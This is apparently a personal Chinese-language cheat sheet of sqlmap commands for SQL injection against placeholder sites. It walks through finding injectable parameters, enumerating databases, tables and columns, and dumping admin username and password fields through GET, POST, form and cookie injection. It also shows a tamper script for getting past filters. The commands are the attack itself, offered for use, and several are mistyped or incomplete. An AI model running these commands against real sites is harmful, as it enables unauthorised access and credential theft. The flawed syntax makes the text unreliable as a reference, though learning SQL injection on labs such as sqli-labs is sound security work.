sqlmap,py -u "URL"检测是否可注入
sqlmap.py -u "URL" --dbs 查看存在数据库
sqlmap.py -u "URL" --current-db 查看当前使用数据库
sqlmap.py -u "URL" -D 数据库 --tables 列数据库中的表
sqlmap.py -u "URL" -D 数据库 -T 表名 --columns 列数据库中表的字段
sqlmap.py -u "URL" -D 数据库 -T 表名 -C "字段1，字段2" --dump 猜解字段
这是我自己在用的
sp注入 sqlmap -u "" --tables 跑表
sqlmap -u "" --columns -T 跑出来的表段
sqlmap -u "" --dump -T 跑出来的表段 -C “username,password”检查字段内容
php注入
sqlmap -u "URL" --current-db
sqlmap -u "url" -D "数据库" --tables
sqlmap -u "URL" -D "数据库" -T "表名" --columns
cookie注入绕过 -u "http://www.xxx.cn/newsview.asp?" --cookie "id=1098" --tables --level 2
-u "http://www.xxx.cn/newsview.asp?" --cookie "id=1098" --跑出来的表 --level 2
-u "http://www.xxx.cn/newsview.asp?" --cookie "id=1098" --dump -T admin -C "username,password" --level 2
1.sqlmap的get注入
假设目标是 http://www.xxx.com/news.php?id=1&data=2
sqlmap语句
列库
sqlmap.py -u "http://www.xxx.com/news.php?id=1&data=2" --dbs
//假设结果显示库有3个： test1 、test2 、test3
获取库test1的表
sqlmap.py -u "http://www.xxx.com/news.php?id=1&data=2" -D test1 --tables
//假设有表3个：admin，user，news
获取admin表的columns
sqlmap.py -u "http://www.xxx.com/news.php?id=1&data=2" -D test1 -T admin --columns
//假设有字段3个：id，username，password
获取id，username，password字段的内容
sqlmap.py -u "http://www.xxx.com/news.php?id=1&data=2" -D test1 -T admin -C "id,usrename,password"
一切顺利的话 这算是完成了一次注入
2.sqlmap的post注射 post肯定要post内容，这个内容一般是表单神马的。可以配合burpsuite，也可以自己手工填写，当然，sqlmap之所以叫做神器，那是因为它自己完全可以搞定 target还是http://www.xxx.com/news.php post的内容是 username=&password= 可以用sqlmap的随机值，也可以自己随便填下username=admin&password=123 那么sqlmap语句是： 列库 sqlmap.py -u "http://www.xxx.com/news.php?id=1&data=2" -data="username=admin&password=123" --dbs 后续步骤一样
偷懒不想填post内容可以这样 sqlmap.py -u "http://www.xxx.com/news.php?id=1&data=2" --forms sqlmap自动获取表单，问你是否填写神马的，然后填不填都可以
然后用sqlmap虐sqli-labs的话，我记得lessen4和10 要升到level2才可以
然后是sqlmap的绕过脚本，在最后带上参数 ----tamper "space2morehash.py"